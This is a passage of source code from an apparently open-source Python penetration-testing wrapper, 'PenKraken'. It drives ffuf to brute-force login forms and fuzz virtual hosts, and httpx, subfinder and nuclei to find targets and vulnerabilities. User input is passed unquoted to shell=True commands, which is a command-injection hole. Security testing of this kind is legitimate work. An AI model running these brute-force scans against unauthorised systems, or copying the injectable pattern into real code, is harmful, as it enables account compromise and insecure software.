showing certain word (ex: 9128,532) (Leave blank otherwise): {penkraken.colors['reset']}") 90 | if filter_words != '': 91 | command = f"ffuf -c -w {wordlist} -H 'Host: FUZZ.{self.target.replace('http://','').replace('https://', '')}' -u {self.target} -fw {filter_words}" 92 | else: 93 | command = f"ffuf -c -w {wordlist} -H 'Host: FUZZ.{self.target.replace('http://','').replace('https://', '')}' -u {self.target}" 94 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 95 | while True: 96 | salida = process.stdout.readline() 97 | if salida == '' and process.poll() is not None: 98 | break 99 | if len(salida) > 10: 100 | if 'Progress' not in salida and '#' not in salida: 101 | print(salida.strip()) 102 | self.results.append(salida.strip()) 103 | 104 | def post_fuzzing(self): 105 | self.flag = 'POSTs' 106 | login=input(f"{penkraken.colors['green']}\n[1] Fuzz username and password\n[2] Fuzz just one parameter\n\n{penkraken.colors['blue']}[>] Select an option (1-2): {penkraken.colors['reset']}") 107 | 108 | if login == '1': 109 | json = input(f"{penkraken.colors['blue']}\n[>] Are the post parameters in JSON format? (y/n): {penkraken.colors['reset']}") 110 | if 'y' in json: 111 | try: 112 | user_wordlist = input(f"{penkraken.colors['blue']}[>] Select username wordlist location (ex: /usr/share/wordlist/usernames.txt): {penkraken.colors['reset']}") 113 | pass_wordlist = input(f"{penkraken.colors['blue']}[>] Select password wordlist location (ex: /usr/share/wordlist/passwords.txt): {penkraken.colors['reset']}") 114 | user_payload = input(f"{penkraken.colors['blue']}[>] Select your username parameter name (ex: user): {penkraken.colors['reset']}") 115 | pass_payload = input(f"{penkraken.colors['blue']}[>] Select your password parameter name (ex: pass): {penkraken.colors['reset']}") 116 | print(f"{penkraken.colors['blue']}\n[+] Fuzzing POST data...\n[+] Username Wordlist = {penkraken.colors['magenta']}{user_wordlist}{penkraken.colors['blue']}\n[+] Password Wordlist = {penkraken.colors['magenta']}{pass_wordlist}{penkraken.colors['blue']}\n[+] Target = {penkraken.colors['magenta']}{self.target}\n{penkraken.colors['blue']}{penkraken.colors['reset']}") 117 | filter_ex = input(f"{penkraken.colors['blue']}[+] Apply a filter to avoid showing certain error message (ex: Incorrect username or password) (Leave blank otherwise): {penkraken.colors['reset']}") 118 | # define prior JSON syntax 119 | json_payload = '{"'+user_payload+'":"USERFUZZ","'+pass_payload+'":"PASSFUZZ"}' 120 | command = f"ffuf -c -w {user_wordlist}:USERFUZZ -w {pass_wordlist}:PASSFUZZ -u {self.target} -X POST -H 'Content-Type: application/json' -d '{json_payload}' -fr {filter_ex}" 121 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 122 | while True: 123 | salida = process.stdout.readline() 124 | if salida == '' and process.poll() is not None: 125 | break 126 | if len(salida) > 10: 127 | if 'Progress' not in salida and '#' not in salida: 128 | print(salida.strip()) 129 | self.results.append(salida.strip()) 130 | except: 131 | print(f"{penkraken.colors['red']}\n[-] Login FUZZ failed!{penkraken.colors['reset']}") 132 | else: 133 | try: 134 | user_wordlist = input(f"{penkraken.colors['blue']}[>] Select username wordlist location (ex: /usr/share/wordlist/usernames.txt): {penkraken.colors['reset']}") 135 | pass_wordlist = input(f"{penkraken.colors['blue']}[>] Select password wordlist location (ex: /usr/share/wordlist/passwords.txt): {penkraken.colors['reset']}") 136 | user_payload = input(f"{penkraken.colors['blue']}[>] Select your username parameter name (ex: user): {penkraken.colors['reset']}") 137 | pass_payload = input(f"{penkraken.colors['blue']}[>] Select your password parameter name (ex: pass): {penkraken.colors['reset']}") 138 | print(f"{penkraken.colors['blue']}\n[+] Fuzzing POST data...\n[+] Username Wordlist = {penkraken.colors['magenta']}{user_wordlist}{penkraken.colors['blue']}\n[+] Password Wordlist = {penkraken.colors['magenta']}{pass_wordlist}{penkraken.colors['blue']}\n[+] Target = {penkraken.colors['magenta']}{self.target}\n{penkraken.colors['blue']}{penkraken.colors['reset']}") 139 | filter_ex = input(f"{penkraken.colors['blue']}[+] Apply a filter to avoid showing certain error message (ex: Incorrect username or password) (Leave blank otherwise): {penkraken.colors['reset']}") 140 | # fuzz user and password 141 | command = f"ffuf -c -w {user_wordlist}:USERFUZZ -w {pass_wordlist}:PASSFUZZ -u {self.target} -X POST -d '{user_payload}=USERFUZZ&{pass_payload}=PASSFUZZ' -fr {filter_ex}" 142 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 143 | while True: 144 | salida = process.stdout.readline() 145 | if salida == '' and process.poll() is not None: 146 | break 147 | if len(salida) > 10: 148 | if 'Progress' not in salida and '#' not in salida: 149 | print(salida.strip()) 150 | self.results.append(salida.strip()) 151 | except: 152 | print(f"{penkraken.colors['red']}\n[-] Login FUZZ failed!{penkraken.colors['reset']}") 153 | 154 | 155 | elif login == '2': 156 | json = input(f"{penkraken.colors['blue']}\n[>] Are the post parameters in JSON format? (y/n): {penkraken.colors['reset']}") 157 | if 'y' in json: 158 | try: 159 | pass_wordlist = input(f"{penkraken.colors['blue']}[>] Select FUZZING wordlist location (ex: /usr/share/wordlist/passwords.txt): {penkraken.colors['reset']}") 160 | example = '{"user":"admin","password":"FUZZ"}' 161 | payload = input(f"{penkraken.colors['blue']}[>] Select a valid JSON payload including FUZZ word (ex: {example}): {penkraken.colors['reset']}") 162 | print(f"{penkraken.colors['blue']}\n[+] Fuzzing POST data...\n[+] Wordlist = {penkraken.colors['magenta']}{pass_wordlist}{penkraken.colors['blue']}\n[+] Target = {penkraken.colors['magenta']}{self.target}\n{penkraken.colors['reset']}") 163 | filter_ex = input(f"{penkraken.colors['blue']}[+] Apply a filter to avoid showing certain error message (ex: Incorrect username or password) (Leave blank otherwise): {penkraken.colors['reset']}") 164 | # Include payload in command 165 | command = f"ffuf -c -w {pass_wordlist} -u {self.target} -X POST -H 'Content-Type: application/json' -d '{payload}' -fr {filter_ex}" 166 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 167 | while True: 168 | salida = process.stdout.readline() 169 | if salida == '' and process.poll() is not None: 170 | break 171 | if len(salida) > 10: 172 | if 'Progress' not in salida and '#' not in salida: 173 | print(salida.strip()) 174 | self.results.append(salida.strip()) 175 | except: 176 | print(f"{penkraken.colors['red']}\n[-] Login FUZZ failed!{penkraken.colors['reset']}") 177 | else: 178 | try: 179 | pass_wordlist = input(f"{penkraken.colors['blue']}[>] Select FUZZING wordlist location (ex: /usr/share/wordlist/passwords.txt): {penkraken.colors['reset']}") 180 | example = 'user=admin&pass=FUZZ' 181 | payload = input(f"{penkraken.colors['blue']}[>] Select a valid payload including FUZZ word (ex: {example}): {penkraken.colors['reset']}") 182 | print(f"{penkraken.colors['blue']}\n[+] Fuzzing POST data...\n[+] Wordlist = {penkraken.colors['magenta']}{pass_wordlist}{penkraken.colors['blue']}\n[+] Target = {penkraken.colors['magenta']}{self.target}\n{penkraken.colors['reset']}") 183 | filter_ex = input(f"{penkraken.colors['blue']}[+] Apply a filter to avoid showing certain error message (ex: Incorrect username or password) (Leave blank otherwise): {penkraken.colors['reset']}") 184 | # Include payload in command 185 | command = f"ffuf -c -w {pass_wordlist} -u {self.target} -X POST -d '{payload}' -fr {filter_ex}" 186 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 187 | while True: 188 | salida = process.stdout.readline() 189 | if salida == '' and process.poll() is not None: 190 | break 191 | if len(salida) > 10: 192 | if 'Progress' not in salida and '#' not in salida: 193 | print(salida.strip()) 194 | self.results.append(salida.strip()) 195 | except: 196 | print(f"{penkraken.colors['red']}\n[-] Login FUZZ failed!{penkraken.colors['reset']}") 197 | else: 198 | print(f"{penkraken.colors['red']}\n[-] Invalid Option!{penkraken.colors['reset']}") 199 | 200 | 201 | 202 | 203 | 204 | def Init(): 205 | try: 206 | print(f"{penkraken.colors['blue']}\n[+] Welcome to the {penkraken.colors['red']}Fuzzing{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 207 | target = input(f"{penkraken.colors['blue']}\n[>] Select your target to be scanned (ex: https://example.com): {penkraken.colors['reset']}") 208 | target = fuzzer(target) 209 | out = '' 210 | for x in target.results: 211 | out += x + '\n' 212 | return [target.ip, out, target.flag] 213 | 214 | except: 215 | print(f"{penkraken.colors['red']}\n[-] Exiting Fuzzing Module{penkraken.colors['reset']}") 216 | 217 | -------------------------------------------------------------------------------- /modules/discovery_tools.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | sys.path.append('../') 5 | import penkraken 6 | import penkraken 7 | import subprocess 8 | import socket 9 | import re 10 | 11 | class httpx: 12 | def __init__(self): 13 | self.results = [] 14 | while True: 15 | x = input(f"{penkraken.colors['green']}\n[1] Single Target Scan\n[2] Multiple Target Scan\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 16 | if str(x) != '1' and str(x) != '2': 17 | print(f"{penkraken.colors['red']}\n[-] Invalid Option{penkraken.colors['reset']}") 18 | else: 19 | break 20 | if x == '1': 21 | self.single_target() 22 | else: 23 | self.file_scan() 24 | try: 25 | # write Output to a file 26 | write = input(f"{penkraken.colors['green']}\n[>] Would you like to write the output to a file? (y/n): {penkraken.colors['reset']}") 27 | if 'y' in str(write).lower(): 28 | file = open('Httpx-results.txt', 'w') 29 | content = ''.join(str(x)+'\n' for x in self.results) 30 | file.write(content) 31 | file.close() 32 | print(f"{penkraken.colors['green']}\n[+] Output was correctly saved to {penkraken.colors['magenta']}'Httpx-results.txt'\n{penkraken.colors['reset']}") 33 | except: 34 | print(f"\n{penkraken.colors['red']}[-] Error while saving output to file{penkraken.colors['reset']}") 35 | 36 | def single_target(self): 37 | try: 38 | valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:/.-_#?' 39 | check = 0 40 | while check == 0: 41 | t = input(f"{penkraken.colors['blue']}\n[>] Select target URL : {penkraken.colors['reset']}") 42 | for x in t: 43 | if str(x) in valid: 44 | check = 1 45 | continue 46 | else: 47 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 48 | check = 0 49 | break 50 | 51 | # run command 52 | print(f"{penkraken.colors['blue']}\n[+] Starting httpx scan against {penkraken.colors['magenta']}{t} {penkraken.colors['reset']}") 53 | output = subprocess.check_output(f"httpx -status-code -title -tech-detect -u {t}", shell=True) 54 | # print and save results 55 | for x in str(output.decode()).split('\n'): 56 | print(f"{penkraken.colors['magenta']} {x} {penkraken.colors['reset']}") 57 | self.results.append(x) 58 | 59 | except: 60 | print(f"{penkraken.colors['red']} Error encountered in httpx Single Scan {penkraken.colors['reset']}") 61 | 62 | def file_scan(self): 63 | try: 64 | valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:/.-_#?' 65 | check = 0 66 | while check == 0: 67 | t = input(f"{penkraken.colors['blue']}\n[>] Select targets file : {penkraken.colors['reset']}") 68 | for x in t: 69 | if str(x) in valid: 70 | check = 1 71 | continue 72 | else: 73 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 74 | check = 0 75 | break 76 | 77 | # run command 78 | print(f"{penkraken.colors['blue']}\n[+] Starting httpx scan against {penkraken.colors['magenta']}{t} {penkraken.colors['reset']}") 79 | output = subprocess.check_output(f"httpx -status-code -title -tech-detect -list {t}", shell=True) 80 | # print and save results 81 | for x in str(output.decode()).split('\n'): 82 | print(f"{penkraken.colors['magenta']} {x} {penkraken.colors['reset']}") 83 | self.results.append(x) 84 | 85 | 86 | except: 87 | print(f"{penkraken.colors['red']} Error encountered in httpx Multi Scan {penkraken.colors['reset']}") 88 | 89 | 90 | 91 | 92 | class subfinder: 93 | def __init__(self): 94 | self.results = [] 95 | self.sub_scan() 96 | try: 97 | # write Output to a file 98 | write = input(f"{penkraken.colors['green']}\n[>] Would you like to write the output to a file? (y/n): {penkraken.colors['reset']}") 99 | if 'y' in str(write).lower(): 100 | file = open('Subfinder-results.txt', 'w') 101 | content = ''.join(str(x)+'\n' for x in self.results) 102 | file.write(content) 103 | file.close() 104 | print(f"{penkraken.colors['green']}\n[+] Output was correctly saved to {penkraken.colors['magenta']}'Subfinder-results.txt'\n{penkraken.colors['reset']}") 105 | except: 106 | print(f"\n{penkraken.colors['red']}[-] Error while saving output to file{penkraken.colors['reset']}") 107 | 108 | def sub_scan(self): 109 | try: 110 | valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:/.-_#?' 111 | check = 0 112 | while check == 0: 113 | t = input(f"{penkraken.colors['blue']}\n[>] Select target domain (example.com) : {penkraken.colors['reset']}") 114 | for x in t: 115 | if str(x) in valid: 116 | check = 1 117 | continue 118 | else: 119 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 120 | check = 0 121 | break 122 | 123 | # run command 124 | print(f"{penkraken.colors['blue']}\n[+] Starting subfinder scan against {penkraken.colors['magenta']}{t} {penkraken.colors['reset']}") 125 | output = subprocess.check_output(f"subfinder -d {t}", shell=True) 126 | # print and save results 127 | for x in str(output.decode()).split('\n'): 128 | print(f"{penkraken.colors['magenta']} {x} {penkraken.colors['reset']}") 129 | self.results.append(x) 130 | 131 | except: 132 | print(f"{penkraken.colors['red']} Error encountered in Subfinder Scan {penkraken.colors['reset']}") 133 | 134 | 135 | class nuclei: 136 | def __init__(self): 137 | self.results = [] 138 | self.ip = '' 139 | while True: 140 | x = input(f"{penkraken.colors['green']}\n[1] Custom Template Scan\n[2] Default Scan (Single Target - Time Consuming)\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 141 | if str(x) != '1' and str(x) != '2': 142 | print(f"{penkraken.colors['red']}\n[-] Invalid Option{penkraken.colors['reset']}") 143 | else: 144 | break 145 | if x == '1': 146 | self.template_scan() 147 | else: 148 | self.nuclei_scan() 149 | 150 | try: 151 | # write Output to a file 152 | write = input(f"{penkraken.colors['green']}\n[>] Would you like to write the output to a file? (y/n): {penkraken.colors['reset']}") 153 | if 'y' in str(write).lower(): 154 | file = open('Nuclei-results.txt', 'w') 155 | content = ''.join(str(x)+'\n' for x in self.results) 156 | file.write(content) 157 | file.close() 158 | print(f"{penkraken.colors['green']}\n[+] Output was correctly saved to {penkraken.colors['magenta']}'Nuclei-results.txt'\n{penkraken.colors['reset']}") 159 | except: 160 | print(f"\n{penkraken.colors['red']}[-] Error while saving output to file{penkraken.colors['reset']}") 161 | 162 | # Custom Template 163 | def template_scan(self): 164 | try: 165 | print(f"{penkraken.colors['blue']}[+] Nuclei templates can be found on: {penkraken.colors['magenta']} https://cloud.projectdiscovery.io/templates {penkraken.colors['reset']}") 166 | valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:/.-_#?' 167 | while True: 168 | x = input(f"{penkraken.colors['green']}\n[1] Single Target Scan\n[2] Multiple Target Scan\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 169 | if str(x) != '1' and str(x) != '2': 170 | print(f"{penkraken.colors['red']}\n[-] Invalid Option{penkraken.colors['reset']}") 171 | else: 172 | break 173 | if x == '1': 174 | # take target 175 | check = 0 176 | while check == 0: 177 | targ = input(f"{penkraken.colors['blue']}\n[>] Select target URL (example.com) : {penkraken.colors['reset']}") 178 | for x in targ: 179 | if str(x) in valid: 180 | check = 1 181 | continue 182 | else: 183 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 184 | check = 0 185 | break 186 | self.obtain_ip(targ) 187 | # take templates folder 188 | check2 = 0 189 | while check2 == 0: 190 | temp = input(f"{penkraken.colors['blue']}\n[>] Select template folder: {penkraken.colors['reset']}") 191 | for x in temp: 192 | if str(x) in valid: 193 | check2 = 1 194 | continue 195 | else: 196 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 197 | check2 = 0 198 | break 199 | 200 | # run command 201 | print(f"{penkraken.colors['blue']}\n[+] Starting Nuclei scan against {penkraken.colors['magenta']}{targ} {penkraken.colors['blue']}with templates in {penkraken.colors['magenta']}{temp}/ {penkraken.colors['reset']}") 202 | command = f"nuclei -u {targ} -t {temp}/" 203 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 204 | while True: 205 | salida = process.stdout.readline() 206 | if salida == '' and process.poll() is not None: 207 | break 208 | if salida: 209 | print(salida.strip()) 210 | self.results.append(salida.strip()) 211 | else: 212 | # take filename 213 | check = 0 214 | while check == 0: 215 | f = input(f"{penkraken.colors['blue']}\n[>] Select targets file : {penkraken.colors['reset']}") 216 | for x in f: 217 | if str(x) in valid: 218 | check = 1 219 | continue 220 | else: 221 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 222 | check = 0 223 | break 224 | # take templates folder 225 | check = 0 226 | while check == 0: 227 | temp = input(f"{penkraken.colors['blue']}\n[>] Select template folder: {penkraken.colors['reset']}") 228 | for x in temp: 229 | if str(x) in valid: 230 | check = 1 231 | continue 232 | else: 233 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 234 | check = 0 235 | break 236 | # run command 237 | print(f"{penkraken.colors['blue']}\n[+] Starting Nuclei scan against {penkraken.colors['magenta']}{f} {penkraken.colors['blue']}with templates in {penkraken.colors['magenta']}{temp}/ {penkraken.colors['reset']}") 238 | command = f"nuclei -list {f} -t {temp}/" 239 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 240 | while True: 241 | salida = process.stdout.readline() 242 | if salida == '' and process.poll() is not None: 243 | break 244 | if salida: 245 | print(salida.strip()) 246 | self.results.append(salida.strip()) 247 | 248 | except: 249 | print(f"{penkraken.colors['red']} Error encountered in Subfinder Scan {penkraken.colors['reset']}") 250 | 251 | #Default Scan 252 | 253 | def nuclei_scan(self): 254 | try: 255 | valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:/.-_#?' 256 | check = 0 257 | while check == 0: 258 | t = input(f"{penkraken.colors['blue']}\n[>] Select target URL (example.com) : {penkraken.colors['reset']}") 259 | for x in t: 260 | if str(x) in valid: 261 | check = 1 262 | continue 263 | else: 264 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 265 | check = 0 266 | break 267 | self.obtain_ip(t) 268 | command = f"nuclei -u {t}" 269 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 270 | while True: 271 | salida = process.stdout.readline() 272 | if salida == '' and process.poll() is not None: 273 | break 274 | if salida: 275 | print(salida.strip()) 276 | self.results.append(salida.strip()) 277 | 278 | 279 | except: 280 | print(f"{penkraken.colors['red']} Error encountered in Nuclei Scan {penkraken.colors['reset']}") 281 | 282 | def obtain_ip(self,domain): 283 | try: 284 | self.ip = socket.gethostbyname(domain) 285 | return self.ip 286 | except socket.error as e: 287 | print(f"Couldn't obatin IP from {domain}. Error: {e}") 288 | return None 289 | 290 | class autoscan: 291 | def __init__(self): 292 | self.results = [] 293 | self.auto_scan() 294 | self.ip = '' 295 | try: 296 | # write Output to a file 297 | write = input(f"{penkraken.colors['green']}\n[>] Would you like to write the output to a file? (y/n): {penkraken.colors['reset']}") 298 | if 'y' in str(write).lower(): 299 | file = open('Autoscan-results.txt', 'w') 300 | content = ''.join(str(x)+'\n' for x in self.results) 301 | file.write(content) 302 | file.close() 303 | print(f"{penkraken.colors['green']}\n[+] Output was correctly saved to {penkraken.colors['magenta']}'Autoscan-results.txt'\n{penkraken.colors['reset']}") 304 | except: 305 | print(f"\n{penkraken.colors['red']}[-] Error while saving output to file{penkraken.colors['reset']}") 306 | 307 | def obtain_ip(self,domain): 308 | try: 309 | self.ip = socket.gethostbyname(domain) 310 | return self.ip 311 | except socket.error as e: 312 | print(f"Couldn't obatin IP from {domain}. Error: {e}") 313 | return None 314 | 315 | def auto_scan(self): 316 | try: 317 | valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:/.-_#?' 318 | check = 0 319 | while check == 0: 320 | t = input(f"{penkraken.colors['blue']}\n[>] Select target domain (example.com) : {penkraken.colors['reset']}") 321 | for x in t: 322 | if str(x) in valid: 323 | check = 1 324 | continue 325 | else: 326 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 327 | check = 0 328 | break 329 | 330 | # run command 331 | self.obtain_ip(t) 332 | print(f"{penkraken.colors['blue']}\n[+] Triggering auto scan against {penkraken.colors['magenta']}{t}{penkraken.colors['reset']}") 333 | com = f"subfinder -d {t} -o {t}-urls.txt | httpx -status-code -title -tech-detect" 334 | proc = subprocess.Popen(com, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, shell=True) 335 | while True: 336 | output = proc.stdout.readline() 337 | if output == '' and proc.poll() is not None: 338 | break 339 | else: 340 | if output: 341 | print(output.strip()) 342 | self.results.append(output.strip()) 343 | print(f"{penkraken.colors['blue']}\n[+] Results were saved into {penkraken.colors['magenta']}{t}-urls.txt{penkraken.colors['blue']}{penkraken.colors['reset']}") 344 | 345 | print(f"{penkraken.colors['blue']}\n[+] Running nuclei http scan on {penkraken.colors['magenta']}{t}-urls.txt{penkraken.colors['blue']} (This could take A LOT of time...){penkraken.colors['reset']}") 346 | # print and save results 347 | command = f"nuclei -list {t}-urls.txt" 348 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,text=True, shell=True) 349 | while True: 350 | salida = process.stdout.readline() 351 | if salida == '' and process.poll() is not None: 352 | break 353 | if salida: 354 | print(salida.strip()) 355 | self.results.append(salida.strip()) 356 | 357 | except: 358 | print(f"{penkraken.colors['red']} Error encountered in AutoScan {penkraken.colors['reset']}") 359 | 360 | 361 | def Init(): 362 | try: 363 | print(f"{penkraken.colors['blue']}\n[+] Welcome to {penkraken.colors['red']}ProjectDiscovery{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 364 | while True: 365 | x = input(f"{penkraken.colors['green']}\n[1] Run httpx against single/multiple targets\n[2] Run Subfinder against a single target\n[3] Run nuclei agains single/multiple targets\n[4] AutoScan single target(Every Tool)\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 366 | if str(x) != '1' and str(x) != '2' and str(x) != '3' and str(x) != '4': 367 | print(f"{penkraken.colors['red']}\n[-] Invalid Option{penkraken.colors['reset']}") 368 | else: 369 | break 370 | if str(x) == '1': 371 | target = httpx() 372 | elif str(x) == '2': 373 | target = subfinder() 374 | elif str(x) == '3': 375 | target = nuclei() 376 | elif str(x) == '4': 377 | target = autoscan() 378 | 379 | try: 380 | # Display Results: 381 | out = '' 382 | for x in target.results: 383 | out += x + '\n' 384 | 385 | try: 386 | return [target.ip, out] 387 | except: 388 | return out 389 | 390 | except: 391 | print(f"{penkraken.colors['red']}\n[-] Could not save results {penkraken.colors['red']}{target.os_name}{penkraken.colors['reset']}") 392 | 393 | except: 394 | print(f"{penkraken.colors['red']}\n[-] Exiting ProjectDiscovery Module!{penkraken.colors['reset']}")\ 395 | 396 | -------------------------------------------------------------------------------- /penkraken.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import re 3 | import sys 4 | import subprocess 5 | import ipaddress 6 | import nmap 7 | import signal 8 | import wafw00f 9 | import time 10 | 11 | # Import modules 12 | import modules.os_identification as os_identify 13 | import modules.port_scanning as port_scanning 14 | import modules.waf_detection as waf_detection 15 | import modules.load_balancers as load_balancers 16 | import modules.discovery_tools as discoverytools 17 | import modules.Fuzzing as fuzzing 18 | import modules.exploit_searcher as exp_searcher 19 | import modules.shell_craft as Shellcraft 20 | import modules.OSINT_tools as Osint 21 | import modules.pass_crack as Cracker 22 | 23 | colors = { 24 | 'reset': '\x1b[0m', 25 | 'bold': '\x1b[1m', 26 | 'italic': '\x1b[3m', 27 | 'underline': '\x1b[4m', 28 | 'inverse': '\x1b[7m', 29 | 30 | 'black': '\x1b[30m', 31 | 'red': '\x1b[31m', 32 | 'green': '\x1b[32m', 33 | 'yellow': '\x1b[33m', 34 | 'blue': '\x1b[34m', 35 | 'magenta': '\x1b[35m', 36 | 'cyan': '\x1b[36m', 37 | 'white': '\x1b[37m', 38 | 'gray': '\x1b[90m', 39 | 'bright_red': '\x1b[91m', 40 | 'bright_green': '\x1b[92m', 41 | 'bright_yellow': '\x1b[93m', 42 | 'bright_blue': '\x1b[94m', 43 | 'bright_magenta': '\x1b[95m', 44 | 'bright_cyan': '\x1b[96m', 45 | 'bright_white': '\x1b[97m', 46 | 47 | 'bg_black': '\x1b[40m', 48 | 'bg_red': '\x1b[41m', 49 | 'bg_green': '\x1b[42m', 50 | 'bg_yellow': '\x1b[43m', 51 | 'bg_blue': '\x1b[44m', 52 | 'bg_magenta': '\x1b[45m', 53 | 'bg_cyan': '\x1b[46m', 54 | 'bg_white': '\x1b[47m', 55 | 'bg_gray': '\x1b[100m', 56 | 'bg_bright_red': '\x1b[101m', 57 | 'bg_bright_green': '\x1b[102m', 58 | 'bg_bright_yellow': '\x1b[103m', 59 | 'bg_bright_blue': '\x1b[104m', 60 | 'bg_bright_magenta': '\x1b[105m', 61 | 'bg_bright_cyan': '\x1b[106m', 62 | 'bg_bright_white': '\x1b[107m' 63 | } 64 | 65 | # Ctr-C function 66 | def def_handler(sig,frame): 67 | print(f"{colors['red']}\n\n[+] Exiting...\n\n{colors['reset']}") 68 | sys.exit(1) 69 | #Ctr-C 70 | signal.signal(signal.SIGINT, def_handler) 71 | 72 | class Welcome: 73 | def __init__(self, tool_name): 74 | self.tool_name = tool_name 75 | 76 | def display_welcome_message(self): 77 | welcome_message = f"{colors['blue']}\n========================= Welcome to ============================={colors['bright_green']}{self.tool_name}{colors['reset']}" 78 | print(welcome_message) 79 | 80 | 81 | class Enumeration: 82 | def __init__(self): 83 | self.os = '' 84 | self.ports = '' 85 | self.wafs = '' 86 | self.balancers = '' 87 | self.discovery = '' 88 | self.fuzzer = '' 89 | self.exploits = '' 90 | self.shells = '' 91 | self.osint = '' 92 | self.cracked = '' 93 | 94 | try: 95 | print(f"{colors['blue']}\n[+] What would you like to use:{colors['reset']}") 96 | option = input(f"{colors['bright_green']}\n[1] OS Identification\n[2] Port Scanning\n[3] WAF Detectionn\n[4] Load Balancers Scan\n[5] Project Discovery Tools\n[6] Fuzzing Module\n[7] Exploit Searcher\n[8] Shell Crafter\n[9] OSINT CLI Auto Tool\n[10] Password Cracking\n\n{colors['blue']}[>] Choose an option: {colors['reset']}") 97 | 98 | # Os Identification 99 | if option == '1': 100 | if os_name != '': 101 | print(f"{colors['red']}\n[+] Last OS Identified was: {os_name}") 102 | again = input(f"{colors['blue']}[>] Would you like to identify the OS again? (y/n): {colors['reset']}") 103 | if 'y' in str(again).lower(): 104 | self.os_identification() 105 | else: 106 | print(f"{colors['bright_red']}\n[+] Exiting OS Identification...{colors['reset']}") 107 | else: 108 | self.os_identification() 109 | 110 | # Port Scanning 111 | elif option == '2': 112 | if ports_discovered != '': 113 | print(f"{colors['red']}\n[+] Last scanned ports were: {ports_discovered}") 114 | again = input(f"{colors['blue']}\n[>] Would you like to scan ports again? (y/n): {colors['reset']}") 115 | if 'y' in str(again).lower(): 116 | self.ports_scan() 117 | else: 118 | print(f"{colors['red']}\n[+] Exiting Port Scanning...{colors['reset']}") 119 | else: 120 | self.ports_scan() 121 | 122 | # WAF Detection 123 | elif option == '3': 124 | if wafs != '': 125 | print(f"{colors['red']}\n[+] Last WAF scan output was:\n{str(wafs)}") 126 | again = input(f"{colors['blue']}\n[>] Would you like to scan for exiting WAFs again? (y/n): {colors['reset']}") 127 | if 'y' in str(again).lower(): 128 | self.waf_scan() 129 | else: 130 | print(f"{colors['red']}\n[+] Exiting WAF Detection...{colors['reset']}") 131 | else: 132 | self.waf_scan() 133 | 134 | # Load Balancers 135 | elif option == '4': 136 | if balancers != '': 137 | print(f"{colors['red']}\n[+] Last Halberd scan output was:\n{str(balancers)}") 138 | again = input(f"{colors['blue']}\n[>] Would you like to scan for Load Balancers again? (y/n): {colors['reset']}") 139 | if 'y' in str(again).lower(): 140 | self.halberd_scan() 141 | else: 142 | print(f"{colors['red']}\n[+] Exiting Halberd Module...{colors['reset']}") 143 | else: 144 | self.halberd_scan() 145 | 146 | # Project Discovery 147 | elif option == '5': 148 | if discovery != '': 149 | print(f"{colors['red']}\n[+] Last ProjectDiscovery scan output was:\n{str(discovery)}") 150 | again = input(f"{colors['blue']}\n[>] Would you like to run scans again? (y/n): {colors['reset']}") 151 | if 'y' in str(again).lower(): 152 | self.PDiscovery_scan() 153 | else: 154 | print(f"{colors['red']}\n[+] Exiting ProjectDiscovery Module...{colors['reset']}") 155 | else: 156 | self.PDiscovery_scan() 157 | 158 | # Fuzzing module 159 | elif option == '6': 160 | if fuzzer != '': 161 | print(f"{colors['red']}\n[+] Last FUZZING scan output was:\n{str(fuzzer)}") 162 | again = input(f"{colors['blue']}\n[>] Would you like to FUZZ again? (y/n): {colors['reset']}") 163 | if 'y' in str(again).lower(): 164 | self.fuzzing_scan() 165 | else: 166 | print(f"{colors['red']}\n[+] Exiting FUZZING Module...{colors['reset']}") 167 | else: 168 | self.fuzzing_scan() 169 | 170 | # Exploit Searcher 171 | elif option == '7': 172 | if exploits != '' and exploits!=None: 173 | print(f"{colors['red']}\n[+] Last Exploit Searcher scan output was:\n{str(exploits)}") 174 | again = input(f"{colors['blue']}\n[>] Would you like to search for exploits again? (y/n): 